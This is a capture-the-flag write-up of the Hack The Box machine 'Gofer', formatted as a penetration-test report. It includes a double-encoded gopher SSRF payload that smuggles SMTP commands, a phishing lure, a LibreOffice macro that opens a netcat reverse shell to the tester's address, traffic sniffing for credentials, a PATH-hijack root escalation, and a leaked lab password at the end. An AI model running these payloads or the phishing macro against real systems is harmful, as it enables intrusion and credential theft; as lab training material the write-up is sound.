Hack The Box Gofer Writeup (Hard Linux)

Summary

Gofer opens with an SMB server that allows an unauthenticated connection, and a .backup folder in one of the shares holds an archived email naming system users and describing Jocelyn as someone who clicks links without reading them. Subdomain fuzzing finds proxy.gofer.htb, whose Apache config wraps basic authentication in a Limit GET block, so a plain POST request reaches the proxy with no credentials at all. That proxy passes a url parameter to curl and blacklists localhost and 127.0.0.1, but not the gopher scheme nor the integer form 2130706433, so it can be driven to speak SMTP to the local mail server. The tester uses that SSRF to mail jhudson a link to an ODT document carrying a LibreOffice Basic macro bound to the document open event, which returns a shell when it is read. On the box, /usr/bin/tcpdump carries cap_net_raw, so sniffing loopback traffic captures a basic auth header that base64 decodes to tbuckley’s password. Root comes from /usr/local/bin/notes, a setuid binary that leaves a dangling pointer after a user is deleted and later calls tar without an absolute path, so a tar script earlier in PATH runs as root and sets the SUID bit on /bin/bash.

Independent Challenge - 10.10.11.225

export IP=10.10.11.225

Service Enumeration

IP Address	Ports Open
10.10.11.225	TCP: 22, 25 (filtered), 80, 139, 445

Command: nmap -sC -sV -T4 $IP -oN scans/nmap-all -vv -p-

SMB Enumeration

BS01: Data Exposure

Vulnerability Explanation: The identified vulnerability lies in the public-facing SMB server, which permits remote attackers to establish a connection without requiring authentication. This unauthorised access extends to an SMB share, where a .backup folder has been discovered. Inside this folder, there is a backup of an email that exposes valuable information for an attacker, including valid system usernames and web server details. The lack of authentication measures on the SMB server poses an elevated security risk, as the exposed information is not critical but helps a remote attacker to develop target-specific exploits.

Severity: Elevated

Vulnerability Fix: Require strong, unique passwords for SMB access.

Steps to Reproduce the Attack:

1. Run the command to list available shares: smbclient -L //10.10.11.225/

2. Run the command to connect to the above-mentioned share: smbclient //10.10.11.225/shares and navigate to the folder .backup.

Web Server Enumeration

echo 10.10.11.225 gofer.htb proxy.gofer.htb >> /etc/hosts

BS02: Subdomain Enumeration

Vulnerability Explanation: Behind Security was able to enumerate valid subdomains on the web server with ease as there is no rate-limit or restrictions in place to prevent such attacks. This poses a moderate security risk, as this kind of information gives the attacker a wider attack range on the target infrastructure.

Severity: Moderate

Vulnerability Fix: Implement a rate-limiting system to prevent this attack

Steps to Reproduce the Attack:

1. Use a tool like wfuzz to perform a subdomain enumeration: wfuzz -u http://gofer.htb -H "Host: FUZZ.gofer.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hw 28

BS03: Misconfigured Endpoint Access

Vulnerability Explanation: Access to http://proxy.gofer.htb/index.php seems to be restricted (requires username and password) at first when we send a HTTP GET request, but it turns out that if we send a HTTP POST request instead, we get full access to the service, without any credentials being required.

Misconfiguration snippet (from /etc/apache2/sites-available/000-default.conf):

<VirtualHost *:80>
  ServerName proxy.gofer.htb
  ServerAdmin webmaster@localhost
  DocumentRoot /var/www/proxy
  ErrorLog ${APACHE_LOG_DIR}/error.log
  CustomLog ${APACHE_LOG_DIR}/access.log combined
 
  <Directory "/var/www/proxy">
    DirectoryIndex index.php index.html
    Options Indexes FollowSymLinks MultiViews
    <Limit GET> // Limiting only GET Requests!
        AuthType Basic
        AuthName "Restricted Content"
        AuthUserFile /etc/apache2/.htpasswd
        Require valid-user
    </Limit>
  </Directory>
</VirtualHost>

Severity: Elevated

Vulnerability Fix: Fix the /etc/apache2/sites-available/000-default.conf in order to include HTTP POST (<Limit GET POST>).

Steps to Reproduce the Attack:

1. Send a POST request to proxy.gofer.htb: curl -X POST http://proxy.gofer.htb/index.php

BS04: SSRF - Insufficient Filter

Vulnerability Explanation: A blacklist is in place to try to prevent potentially malicious extensions being used along with cURL at proxy.gofer.htb/index.php. However, it fails to detect and prevent the usage of gopher://, an old but still supported protocol that can be leveraged to interact with services running locally.

Severity: Elevated

Vulnerability Fix: (…)

Steps to Reproduce the Attack:

1. Send a HTTP POST request: curl -X POST http://proxy.gofer.htb/index.php?url=gopher://2130706433:25/xHELO%2520gofer.htb%250AMAIL%2520FROM:%253Cbsec@behindsecurity.com%253E%250ARCPT%2520TO:%253Cjhudson@gofer.htb%253E%250ADATA%250AFrom:%2520%255BBehindSecurity%255D%2520%253Cbsec@behindsecurity.com%253E%250ATo:%2520%253Cjhudson@gofer.htb%253E%250ADate:%2520Tue,%252015%2520Sep%25202017%252017:20:26%2520-0400%250ASubject:%2520Hello%250A%250ATesting%2520SSRF%250A%250A%250A.%250AQUIT%250A

The payload translates to (double URL decode):

gopher://2130706433:25/xHELO gofer.htb
MAIL FROM:<bsec@behindsecurity.com>
RCPT TO:<jhudson@gofer.htb>
DATA
From: [BehindSecurity] <bsec@behindsecurity.com>
To: <jhudson@gofer.htb>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Hello

Testing SSRF


.
QUIT

Both the strings “localhost” and “127.0.0.1” are blacklisted in order to prevent such attacks, but if we use the integer representation of “127.0.0.1” (2130706433), it is possible to bypass the filter.

Initial Access - BS05: Phishing and Malicious .odt File

Vulnerability Explanation: From the mail backup downloaded from BS01:

Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That's why from now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.

This gives us the information that Jocelyn (username: jhudson) clicks on links without paying much attention, and that the .odt format for documents is recommended. Behind Security was able to send a phishing email to jhudson@gofer.htb, containing a link to a .odt file containing malicious macros, and got remote code execution after the user opened the document.

Severity: High

Vulnerability Fix: (…)

Steps to Reproduce the Attack:

1. Open libreoffice-writer, and save the document to a .odt file.

2. Within libreoffice-writer, go to Tools > Organize Macros > Basic

3. Navigate to the document that you are currently working on, and then hit New on the right side of the panel. Name the module whatever you want.

4. Use the following macro to grant a reverse shell connection:

Sub Main
	Shell("nc -e /bin/sh YOUR-TUN0-IP-ADDRESS 443")
End Sub

1. Hit ctrl+s and save the macro. Close the macros tab.

2. Go to Tools > Customize > Events

3. Assign a Macro... on Start Application, Close Application and Open Document. Hit OK and save the file.

4. Fire up a python http server: sudo python3 -m http.server 80

5. Open a netcat listener on port 443: nc -lvnp 443

6. Exploit BS04 to send an email to jhudson, the payload would look like this:

gopher://2130706433:25/xHELO gofer.htb
MAIL FROM:<bsec@behindsecurity.com>
RCPT TO:<jhudson@gofer.htb>
DATA
From: [BehindSecurity] <bsec@behindsecurity.com>
To: <jhudson@gofer.htb>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Hello

Did you see <a href="http://YOUR-TUN0-IP-ADDRESS/pwned.odt>this</a>?


.
QUIT

1. Double url-encode the payload using a tool like CyberChef and run: curl -X POST http://proxy.gofer.htb/index.php?url=gopher%253A%252F%252F2130706433%253A25%252FxHELO%2520gofer%252Ehtb%250AMAIL%2520FROM%253A%253Cbsec%2540behindsecurity%252Ecom%253E%250ARCPT%2520TO%253A%253Cjhudson%2540gofer%252Ehtb%253E%250ADATA%250AFrom%253A%2520%255BBehindSecurity%255D%2520%253Cbsec%2540behindsecurity%252Ecom%253E%250ATo%253A%2520%253Cjhudson%2540gofer%252Ehtb%253E%250ADate%253A%2520Tue%252C%252015%2520Sep%25202017%252017%253A20%253A26%2520%252D0400%250ASubject%253A%2520Hello%250A%250ADid%2520you%2520see%2520%253Ca%2520href%253D%2522http%253A%252F%252FYOUR%252DTUN0%252DIP%252DADDRESS%252Fpwned%252Eodt%253Ethis%253C%252Fa%253E%253F%250A%250A%250A%252E%250AQUIT%250A.

Post Exploitation

BS06: LPE to tbuckley - Sniffing Cleartext Credentials With “tcpdump”

Vulnerability Explanation: The /usr/bin/tcpdump binary has cap_net_admin and cap_net_raw capabilities, which means that any user with the execute permission on the binary can use it to sniff traffic on all network interfaces. Behind Security was able to leverage this, sniffing and capturing http requests in cleartext containing base64-encoded credentials for tbuckley.

Severity: High

Vulnerability Fix: (…)

Steps to Reproduce the Attack:

1. Refer to BS05 to get a foothold on the machine

2. Sniff the traffic with the command: tcpdump -w capture.pcap -i any tcp

3. Let it run for at least two minutes, then transfer the capture.pcap file to your machine

4. Use a tool like wireshark to analyse the file

5. On the wireshark filter at the top, type http

6. Select a packet that looks like the following: 267 115.938843 127.0.0.1 127.0.0.1 HTTP 235 GET /?url=http://gofer.htb HTTP/1.1, right-click Follow > TCP Stream

7. You’ll see something like this at the beginning:

GET /?url=http://gofer.htb HTTP/1.1
Host: proxy.gofer.htb
Authorization: Basic dGJ1Y2tsZ[REDACTED]xdWFldGk=
User-Agent: curl/7.74.0
Accept: */*****

1. Decode base64: echo -n dGJ1Y2tsZ[REDACTED]xdWFldGk= | base64 -d

BS07: LPE to root - Programming Logic Failure and Path Manipulation

Vulnerability Explanation: The vulnerability identified in the /usr/local/bin/notes program exists from a flaw in its logic and memory management. Specifically, when a user is created and subsequently deleted, the program fails to reset the pointer to the memory allocated for the user object. Consequently, when a new note is created, the malloc function allocates memory at the original location of the deleted user, leading to unintended consequences. Additionally, in case 8, the program executes the tar command without specifying an absolute path. The reliance on setuid introduces a security vulnerability as it allows the execution of malicious commands with elevated privileges.

Severity: Extreme

Vulnerability Fix:

1. Memory Pointer Reset:

   • Modify the program’s logic to reset the pointer to zero or an appropriate location when a user is deleted. This ensures that subsequent memory allocations do not refer to the deleted user’s location.

2. Absolute Path for Commands:

   • Explicitly specify the absolute path for the tar command in case 8 to mitigate the setuid-related vulnerability. This prevents the execution of commands with elevated privileges without a clear path definition.

Steps to Reproduce the Attack:

1. Create a file at /home/tbuckley/tar with the following content:

#!/bin/bash

chmod +s /bin/bash

1. Set your script as executable: chmod +x /home/tbuckley/tar and add /home/tbuckley to the $PATH variable: export PATH=/home/tbuckley:$PATH

2. Run the program /usr/local/bin/notes.

3. Sequentially perform the following actions within the program:

   • Press 1 (create user) and enter any name.

   • Press 3 (delete user).

   • Press 4 (create note) and enter 24 bytes of the name and 16 bytes of the role (behindsecurityAAAAAAAAAAadmin)

   • Press 8 to check if the user is an administrator.

4. If the program responds with “Access_granted,” the attack was successful.

5. Run /bin/bash -p to escalate privileges and obtain the root flag (/root/root.txt).

Not Included

tbuckley:ooP4dietie3o_hquaeti